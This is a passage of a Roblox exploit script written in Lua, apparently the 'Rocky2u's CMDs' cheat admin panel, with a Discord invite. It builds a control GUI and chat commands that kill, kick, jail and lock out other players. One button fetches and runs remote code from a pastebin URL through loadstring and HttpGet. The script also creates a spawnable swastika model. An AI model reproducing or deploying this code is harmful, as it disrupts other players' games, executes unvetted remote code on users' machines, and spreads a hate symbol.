"UPDATE" UPDATE.Parent = ContainerFrame UPDATE.BackgroundColor3 = Color3.new(0, 0, 0) UPDATE.BackgroundTransparency = 0.80000001192093 UPDATE.BorderColor3 = Color3.new(1, 1, 1) UPDATE.Position = UDim2.new(0, 148, 0, 153) UPDATE.Size = UDim2.new(0, 126, 0, 40) UPDATE.ZIndex = 9 UPDATE.Font = Enum.Font.SourceSans UPDATE.FontSize = Enum.FontSize.Size18 UPDATE.Text = "Update" UPDATE.TextColor3 = Color3.new(1, 1, 1) Line.Name = "Line" Line.Parent = PromptDialog Line.BackgroundColor3 = Color3.new(0, 0, 0) Line.BackgroundTransparency = 0.5 Line.BorderColor3 = Color3.new(0, 0, 0) Line.Position = UDim2.new(0, 16, 0, 121) Line.Size = UDim2.new(0.926999986, 0, 0, 1) Line.ZIndex = 8 function Click(mouse) PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, 150), "InOut", "Quart", 0.4, true, nil) wait(0.4) PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.5) Updates:Destroy() run() end Exit.MouseButton1Down:connect(Click) function Click(mouse) PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, 150), "InOut", "Quart", 0.4, true, nil) wait(0.4) PromptDialog:TweenPosition(UDim2.new(0.5, -219, 0, -400), "InOut", "Quart", 0.5, true, nil) wait(0.5) Updates:Destroy() loadstring(game:HttpGet(('https://pastebin.com/raw/MjBzRjmT'),true))() end UPDATE.MouseButton1Down:connect(Click) end end) rocky.Name = "rocky" rocky.Parent = script2 rocky.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) rocky.BorderSizePixel = 0 rocky.Position = UDim2.new(0.0152284261, 0, 0.775700927, 0) rocky.Size = UDim2.new(0, 200, 0, 50) rocky.Font = Enum.Font.SourceSans rocky.Text = "Rocky 2 u" rocky.TextSize = 40 rocky.MouseButton1Down:connect(function() --[[ ____ _ ____ _ ____ __ __ ____ | _ \ ___ ___| | ___ _|___ \ _ _( )___ / ___| \/ | _ \ ___ | |_) / _ \ / __| |/ / | | | __) | | | |// __| | | | |\/| | | | / __| | _ < (_) | (__| <| |_| |/ __/| |_| | \__ \ | |___| | | | |_| \__ \ |_| \_\___/ \___|_|\_\\__, |_____|\__,_| |___/ \____|_| |_|____/|___/ |___/ Want to keep this admin command updated? Join our Discord! https://discord.me/rainbow2u --]] local ADMINS = {} local BANS = {} function _G.ADD_ADMIN(ID) table.insert(ADMINS, ID) end function _G.ADD_BAN(ID) table.insert(BANS, ID) end local VERSION = 'unOfficial 1.8.1' local UPDATED = '2017/10/05' local CHANGELOG = { ' - Removed Patched Properties', ' - Removed Guest Support', ' - Removed Broken Shutdown Command' } local CREDITS = [[ Rocky2u - lol veinyrox - ;crash Harkinian - half of the message function Moon - cmd bar addon idea N3xul - Fixing stuff because of Roblox Update ]] local _CORE = game:GetService('CoreGui') local _LIGHTING = game:GetService('Lighting') local _NETWORK = game:GetService('NetworkClient') local _PLAYERS = game:GetService('Players') local LP = _PLAYERS.LocalPlayer local MOUSE = LP:GetMouse() local SERVER_LOCKED = false local SHOWING_MESSAGE = false local SERVICES = {} SERVICES.EVENTS = {} local COMMANDS = {} local STD = {} local JAILED = {} local KICKS = {} local LOOPED_H = {} local LOOPED_K = {} local C_PREFIX = ';' local SPLIT = ' ' local NEW = LoadLibrary('RbxUtility').Create function UPDATE_CHAT(PLAYER) local C = PLAYER.Chatted:connect(function(M) if CHECK_ADMIN(PLAYER) then DEXECUTE(M, PLAYER) end end) table.insert(SERVICES.EVENTS, C) end function STD.TABLE(T, V) if not T then return false end for i,v in pairs(T) do if v == V then return true end end return false end function STD.ENDAT(S, V) local SF = S:find(V) if SF then return S:sub(0, SF - string.len(V)), true else return S, false end end function CHECK_ADMIN(PLAYER) if FIND_IN_TABLE(ADMINS, PLAYER.userId) then return true elseif PLAYER.userId == LP.userId then return true end end function FCOMMAND(COMMAND) for i,v in pairs(COMMANDS) do if v.N:lower() == COMMAND:lower() or STD.TABLE(v.A, COMMAND:lower()) then return v end end end function GCOMMAND(M) local CMD, HS = STD.ENDAT(M:lower(), SPLIT) if HS then return {CMD, true} else return {CMD, false} end end function GPREFIX(STRING) if STRING:sub(1, string.len(C_PREFIX)) == C_PREFIX then return {'COMMAND', string.len(C_PREFIX) + 1} end return end function GARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S:lower(), SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end function GCAPARGS(STRING) local A = {} local NA = nil local HS = nil local S = STRING repeat NA, HS = STD.ENDAT(S, SPLIT) if NA ~= '' then table.insert(A, NA) S = S:sub(string.len(NA) + string.len(SPLIT) + 1) end until not HS return A end function ECOMMAND(STRING, SPEAKER) repeat if STRING:find(' ') then STRING = STRING:gsub(' ', ' ') end until not STRING:find(' ') local SCMD, A, CMD SCMD = GCOMMAND(STRING) CMD = FCOMMAND(SCMD[1]) if not CMD then return end A = STRING:sub(string.len(SCMD[1]) + string.len(SPLIT) + 1) local ARGS = GARGS(A) CA = GCAPARGS(A) pcall(function() CMD.F(ARGS, SPEAKER) end) end function DEXECUTE(STRING, SPEAKER) if not CHECK_ADMIN(SPEAKER) then return end STRING = STRING:gsub('/e ', '') local GP = GPREFIX(STRING) if not GP then return end STRING = STRING:sub(GP[2]) if GP[1] == 'COMMAND' then ECOMMAND(STRING, SPEAKER) end end function GLS(LOWER, START) local AA = '' for i,v in pairs(CA) do if i > START then if AA ~= '' then AA = AA .. ' ' .. v else AA = AA .. v end end end if not LOWER then return AA else return string.lower(AA) end end function C3(R, G, B) return Color3.new(R/255, G/255, B/255) end function GET_MASS(A, B) B = 0 for i,v in pairs(A:GetChildren()) do if v:IsA('BasePart') then B = B + v:GetMass() end GET_MASS(v) end return B end local STUFF = '[ Rocky2u\'s CMDs ] : ' local NOCLIP, JESUSFLY, SWIM = false, false, false _PLAYERS.PlayerAdded:connect(function(PLAYER) if SERVER_LOCKED then PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end) end if FIND_IN_TABLE(BANS, PLAYER.userId) then PLAYER.CharacterAdded:connect(function() table.insert(KICKS, PLAYER) return end) end UPDATE_CHAT(PLAYER) if CHECK_ADMIN(PLAYER) then PLAYER.CharacterAdded:connect(function() game.Chat:Chat(PLAYER.Character.Head, STUFF .. 'Welcome, you\'re an admin!') end) end end) game:GetService('RunService').Stepped:connect(function() for i,v in pairs(_PLAYERS:GetPlayers()) do if FIND_IN_TABLE(KICKS, v) then KICK(v) end if FIND_IN_TABLE(LOOPED_H, v.Name) then v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth end if FIND_IN_TABLE(LOOPED_K, v.Name) then v.Character:BreakJoints() end end if NOCLIP then if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(11) end elseif JESUSFLY then if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(12) end elseif SWIM then if LP.Character:FindFirstChild('Humanoid') then LP.Character.Humanoid:ChangeState(4) end end end) function ADD_COMMAND(N, D, A, F) table.insert(COMMANDS, {N = N, D = D, A = A, F = F}) end function GET_PLAYER(NAME, SPEAKER) local NAME_TABLE = {} NAME = NAME:lower() if NAME == 'me' then table.insert(NAME_TABLE, SPEAKER.Name) elseif NAME == 'others' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.Name ~= SPEAKER.Name then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'all' then for i,v in pairs(_PLAYERS:GetPlayers()) do table.insert(NAME_TABLE, v.Name) end elseif NAME == 'random' then table.insert(NAME_TABLE, _PLAYERS:GetPlayers()[math.random(1, #_PLAYERS:GetPlayers())].Name) elseif NAME == 'team' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.TeamColor == SPEAKER.TeamColor then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'nonadmins' then for i,v in pairs(_PLAYERS:GetPlayers()) do if not CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'admins' then for i,v in pairs(_PLAYERS:GetPlayers()) do if CHECK_ADMIN(v) then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'nonfriends' then for i,v in pairs(_PLAYERS:GetPlayers()) do if not v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'friends' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v ~= SPEAKER and v:IsFriendsWith(SPEAKER.userId) then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'nbcs' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType == Enum.MembershipType.None then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'bcs' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType == Enum.MembershipType.BuildersClub then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'tbcs' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType == Enum.MembershipType.TurboBuildersClub then table.insert(NAME_TABLE, v.Name) end end elseif NAME == 'obcs' then for i,v in pairs(_PLAYERS:GetPlayers()) do if v.MembershipType == Enum.MembershipType.OutrageousBuildersClub then table.insert(NAME_TABLE, v.Name) end end else for i,v in pairs(_PLAYERS:GetPlayers()) do local L_NAME = v.Name:lower() local F = L_NAME:find(NAME) if F == 1 then table.insert(NAME_TABLE, v.Name) end end end return NAME_TABLE end local SI = 'rbxasset://textures/blackBkg_square.png' function LOAD_DATA() local DATA = Instance.new('Folder') GUIS = Instance.new('Folder', DATA) HUMANOIDS = Instance.new('Folder', DATA) OTHER = Instance.new('Folder', DATA) MAIN_GUI = Instance.new('ScreenGui', GUIS) MAIN_GUI.Name = 'seth_main' NEW'TextLabel'{Name = 'main', Active = true, BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.5, -200, 0.4, 0), Size = UDim2.new(0, 400, 0, 25), Draggable = true, Font = 'SourceSansBold', Text = ' Control Center', TextColor3 = C3(255, 255, 255), TextSize = 20, TextXAlignment = 'Left', Parent = MAIN_GUI} NEW'Frame'{Name = 'holder', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 0, 1, 0), Size = UDim2.new(1, 25, 12, 0), Parent = MAIN_GUI.main} local BUTTONS = Instance.new('Folder', MAIN_GUI.main.holder) BUTTONS.Name = 'buttons' NEW'TextButton'{Name = 'server', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'server info', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'admins', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 110, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'admins', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'bans', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 215, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'bans', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'cmds', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 320, 0, 5), Size = UDim2.new(0, 100, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'commands', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'fun', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 50, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'fun', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'changelog', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 160, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'changelog', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} NEW'TextButton'{Name = 'credits', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 270, 0, 40), Size = UDim2.new(0, 105, 0, 30), ClipsDescendants = true, Font = 'SourceSansBold', Text = 'credits', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = BUTTONS} local HOLDERS = Instance.new('Folder', MAIN_GUI.main.holder) HOLDERS.Name = 'holders' NEW'Frame'{Name = 'server', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Parent = HOLDERS} NEW'TextLabel'{Name = 'fe', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' FilteringEnabled | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server} NEW'TextLabel'{Name = 'place_id', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 90), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Place ID | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server} NEW'TextLabel'{Name = 'players', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 120), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Players | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server} NEW'TextLabel'{Name = 'time', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 60), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Time | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server} NEW'TextLabel'{Name = 'gravity', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, 30), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = ' Gravity | ', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.server} NEW'ScrollingFrame'{Name = 'admins', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS} NEW'ScrollingFrame'{Name = 'bans', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS} NEW'ScrollingFrame'{Name = 'cmds', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 115), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS} NEW'ScrollingFrame'{Name = 'fun', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS} NEW'ScrollingFrame'{Name = 'changelog', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 5, TopImage = SI, MidImage = SI, BottomImage = SI, Parent = HOLDERS} local Y_CHANGES = 0 for i,v in pairs(CHANGELOG) do NEW'TextLabel'{Name = '', BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_CHANGES), Size = UDim2.new(1, 0, 0, 30), Font = 'SourceSansBold', Text = v, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.changelog} HOLDERS.changelog.CanvasSize = HOLDERS.changelog.CanvasSize + UDim2.new(0, 0, 0, 30) Y_CHANGES = Y_CHANGES + 30 end NEW'Frame'{Name = 'credits', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.8, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 85), Size = UDim2.new(1, -10, 0, 210), Visible = false, Parent = HOLDERS} NEW'TextLabel'{Name = 'text', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(1, 0, 1, 0), Font = 'SourceSansBold', Text = CREDITS, TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', TextYAlignment = 'Top', Parent = HOLDERS.credits} NEW'TextBox'{Name = 'search', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0.25, 0, 0, 85), Size = UDim2.new(0.5, 0, 0, 25), Visible = false, Font = 'SourceSansBold', Text = 'search commands', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = HOLDERS} NEW'Frame'{Name = 'line', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(0, 5, 0, 75), Size = UDim2.new(1, -10, 0, 5), Parent = MAIN_GUI.main.holder} NEW'TextButton'{Name = 'close', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = MAIN_GUI.main} CMD_BAR_H = Instance.new('ScreenGui', GUIS) CMD_BAR_H.Name = 'cmdbar_seth' NEW'TextBox'{Name = 'bar', BackgroundColor3 = C3(0, 0, 0), BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0, -200, 1, -50), Size = UDim2.new(0, 225, 0, 25), Font = 'SourceSansItalic', Text = 'press ; to execute a command', TextColor3 = C3(255, 255, 255), TextSize = 20, Parent = CMD_BAR_H} NEW'ScrollingFrame'{Name = 'commands', BackgroundColor3 = C3(50, 50, 50), BackgroundTransparency = 0.5, BorderSizePixel = 0, Position = UDim2.new(0, 0, 1, -25), Size = UDim2.new(1, 0, 0, 0), Visible = false, CanvasSize = UDim2.new(0, 0, 0, 0), ScrollBarThickness = 6, ScrollingEnabled = true, BottomImage = SI, MidImage = SI, TopImage = SI, Parent = CMD_BAR_H.bar} NEW'TextLabel'{Name = 'commands_ex', BackgroundTransparency = 1, BorderSizePixel = 0, Size = UDim2.new(0, 200, 0, 20), Visible = false, Font = 'SourceSansBold', TextColor3 = C3(255, 255, 255), TextSize = 18, TextXAlignment = 'Left', Parent = CMD_BAR_H.bar} local NOTIFY_H = Instance.new('ScreenGui', GUIS) NOTIFY_H.Name = 'notify_seth' local N = Instance.new('Frame', NOTIFY_H) N.Name = 'notify' N.BackgroundColor3 = C3(0, 0, 0) N.BackgroundTransparency = 0.5 N.BorderSizePixel = 0 N.Position = UDim2.new(0, -225, 0.6, 0) N.Size = UDim2.new(0, 225, 0, 30) local BAR = Instance.new('Frame', N) BAR.Name = '' BAR.BackgroundColor3 = C3(255, 255, 255) BAR.BackgroundTransparency = 0.5 BAR.BorderSizePixel = 0 BAR.Position = UDim2.new(0, 0, 1, 0) BAR.Size = UDim2.new(1, 0, 0, 5) local TEXT = Instance.new('TextLabel', N) TEXT.Name = 'text' TEXT.BackgroundTransparency = 1 TEXT.BorderSizePixel = 0 TEXT.Size = UDim2.new(1, 0, 1, 0) TEXT.Font = 'SourceSansBold' TEXT.TextColor3 = C3(255, 255, 255) TEXT.TextSize = 18 TEXT.TextXAlignment = 'Left' PAPER_MESH = Instance.new('BlockMesh', OTHER) PAPER_MESH.Scale = Vector3.new(1, 1, 0.1) JAIL = Instance.new('Model', OTHER) JAIL.Name = 'JAIL' local B = Instance.new('Part', JAIL) B.Name = 'BUTTOM' B.BrickColor = BrickColor.new('Black') B.Transparency = 0.5 B.Anchored = true B.Locked = true B.Size = Vector3.new(6, 1, 6) B.TopSurface = 'Smooth' B.BottomSurface = 'Smooth' local M = Instance.new('Part', JAIL) M.Name = 'MAIN' M.BrickColor = BrickColor.new('Black') M.Transparency = 1 M.Anchored = true M.CanCollide = false M.Locked = true M.Position = B.Position + Vector3.new(0, 3, 0) M.Size = Vector3.new(1, 1, 1) local P1 = Instance.new('Part', JAIL) P1.BrickColor = BrickColor.new('Black') P1.Transparency = 1 P1.Position = B.Position + Vector3.new(0, 3.5, -2.5) P1.Rotation = Vector3.new(0, 90, 0) P1.Anchored = true P1.Locked = true P1.Size = Vector3.new(1, 6, 6) local P2 = Instance.new('Part', JAIL) P2.BrickColor = BrickColor.new('Black') P2.Transparency = 1 P2.Position = B.Position + Vector3.new(-2.5, 3.5, 0) P2.Rotation = Vector3.new(-180, 0, -180) P2.Anchored = true P2.Locked = true P2.Size = Vector3.new(1, 6, 4) local P3 = Instance.new('Part', JAIL) P3.BrickColor = BrickColor.new('Black') P3.Transparency = 1 P3.Position = B.Position + Vector3.new(2.5, 3.5, 0) P3.Rotation = Vector3.new(0, 0, 0) P3.Anchored = true P3.Locked = true P3.Size = Vector3.new(1, 6, 4) local P4 = Instance.new('Part', JAIL) P4.BrickColor = BrickColor.new('Black') P4.Transparency = 1 P4.Position = B.Position + Vector3.new(0, 3.5, 2.5) P4.Rotation = Vector3.new(0, 90, 0) P4.Anchored = true P4.Locked = true P4.Size = Vector3.new(1, 6, 4) local TOP = Instance.new('Part', JAIL) TOP.BrickColor = BrickColor.new('Black') TOP.Transparency = 0.5 TOP.Position = B.Position + Vector3.new(0, 7, 0) TOP.Rotation = Vector3.new(0, 0, 0) TOP.Anchored = true TOP.Locked = true TOP.Size = Vector3.new(6, 1, 6) TOP.TopSurface = 'Smooth' TOP.BottomSurface = 'Smooth' ROCKET = Instance.new('Part', OTHER) ROCKET.Name = 'rocket_seth' ROCKET.CanCollide = false ROCKET.Size = Vector3.new(2, 5, 2) Instance.new('CylinderMesh', ROCKET) local F = Instance.new('Part', ROCKET) F.BrickColor = BrickColor.new('Black') F.CanCollide = false F.Size = Vector3.new(2, 0.2, 2) Instance.new('CylinderMesh', F) local PE = Instance.new('ParticleEmitter', F) PE.Color = ColorSequence.new(C3(236, 139, 70), C3(236, 139, 70)) PE.Size = NumberSequence.new(0.2) PE.Texture = 'rbxassetid://17238048' PE.LockedToPart = true PE.Lifetime = NumberRange.new(0.2) PE.Rate = 50 PE.Speed = NumberRange.new(-20) local TOP = Instance.new('Part', ROCKET) TOP.CanCollide = false TOP.Shape = 'Ball' TOP.Size = Vector3.new(2, 2, 2) TOP.TopSurface = 'Smooth' TOP.BottomSurface = 'Smooth' local BF = Instance.new('BodyForce', ROCKET) BF.Name = 'force' BF.Force = Vector3.new(0, 0, 0) local W1 = Instance.new('Weld', ROCKET) W1.Part0 = ROCKET W1.Part1 = F W1.C1 = CFrame.new(0, 2.6, 0) local W2 = Instance.new('Weld', ROCKET) W2.Part0 = ROCKET W2.Part1 = TOP W2.C1 = CFrame.new(0, -2.6, 0) ALIEN_H = Instance.new('Accessory', OTHER) local H = Instance.new('Part', ALIEN_H) H.Name = 'Handle' H.Size = Vector3.new(2, 2.4, 2) local HA = Instance.new('Attachment', H) HA.Name = 'HatAttachment' HA.Position = Vector3.new(0, 0.15, 0) local SM = Instance.new('SpecialMesh', H) SM.MeshId = 'rbxassetid://13827689' SM.MeshType = 'FileMesh' SM.Scale = Vector3.new(1, 1.02, 1) SM.TextureId = 'rbxassetid://13827796' local S = Instance.new('Model', OTHER) S.Name = 'swastika' NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Anchored = true, CanCollide = false, Size = Vector3.new(2, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(0, 3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(3, 0, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(0, -3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-3, 0, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(3, 4, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(4, -3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-3, -4, 0), Anchored = true, CanCollide = false, Size = Vector3.new(4, 2, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} NEW'Part'{BrickColor = BrickColor.new('Really red'), Material = 'Plastic', Position = Vector3.new(-4, 3, 0), Anchored = true, CanCollide = false, Size = Vector3.new(2, 4, 2), BottomSurface = 'Smooth', TopSurface = 'Smooth', Parent = S} CMD_BAR_H.Parent = _CORE end local RS = game:GetService('RunService').RenderStepped function OPEN_MAIN() SETH_MAIN = MAIN_GUI:Clone() local BUTTONS = SETH_MAIN.main.holder.buttons local HOLDERS = SETH_MAIN.main.holder.holders for i,v in pairs(SETH_MAIN.main.holder.buttons:GetChildren()) do v.MouseButton1Down:connect(function(X, Y) OPEN_TAB(v.Name) if not v:FindFirstChild('circle') then local C = Instance.new('ImageLabel', v) C.BackgroundTransparency = 1 C.Position = UDim2.new(0, X - 0, 0, Y - 35) - UDim2.new(0, v.AbsolutePosition.X, 0, v.AbsolutePosition.Y) C.Size = UDim2.new(0, 0, 0, 0) C.ZIndex = v.ZIndex C.Image = 'rbxassetid://200182847' C.ImageColor3 = C3(0, 100, 255) C.Name = 'circle' C:TweenSizeAndPosition(UDim2.new(0, 500, 0, 500), C.Position - UDim2.new(0, 250, 0, 250), 'Out', 'Quart', 2.5) for i = 0, 1, 0.03 do C.ImageTransparency = i RS:wait() end C:destroy() end end) end HOLDERS.server.place_id.Text = ' Place ID | ' .. game.PlaceId game:GetService('RunService').Stepped:connect(function() if SETH_MAIN:FindFirstChild('main') and HOLDERS:FindFirstChild('server') then if not workspace.FilteringEnabled then HOLDERS.server.fe.Text = ' FilteringEnabled | false' else HOLDERS.server.fe.Text = ' FilteringEnabled | true' end HOLDERS.server.players.Text = ' Players | ' .. _PLAYERS.NumPlayers .. '/' .. _PLAYERS.MaxPlayers HOLDERS.server.time.Text = ' Time | ' .. _LIGHTING.TimeOfDay HOLDERS.server.gravity.Text = ' Gravity | ' .. workspace.Gravity end end) function UPDATE_ADMINS() HOLDERS.admins:ClearAllChildren() HOLDERS.admins.CanvasSize = UDim2.new(0, 0, 0, 0) local Y_ADMINS = 5 for i,v in pairs(ADMINS) do NEW'TextLabel'{Name = v, BackgroundColor3 = C3(255, 255, 255), BackgroundTransparency = 1, Position = UDim2.new(0, 0, 0, Y_ADMINS), Size = UDim2.new(1, -30, 0, 25), Font = 'SourceSansBold', TextColor3 = C3(0, 0, 0), TextSize = 24, TextTransparency = 0.25, TextXAlignment = 'Left', Parent = HOLDERS.admins} NEW'TextButton'{Name = 'update', BackgroundColor3 = C3(255, 50, 50), BackgroundTransparency = 0.25, BorderSizePixel = 0, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 25, 0, 25), Text = '', Parent = HOLDERS.admins[v]} HOLDERS.admins[v].update.MouseButton1Down:connect(function() 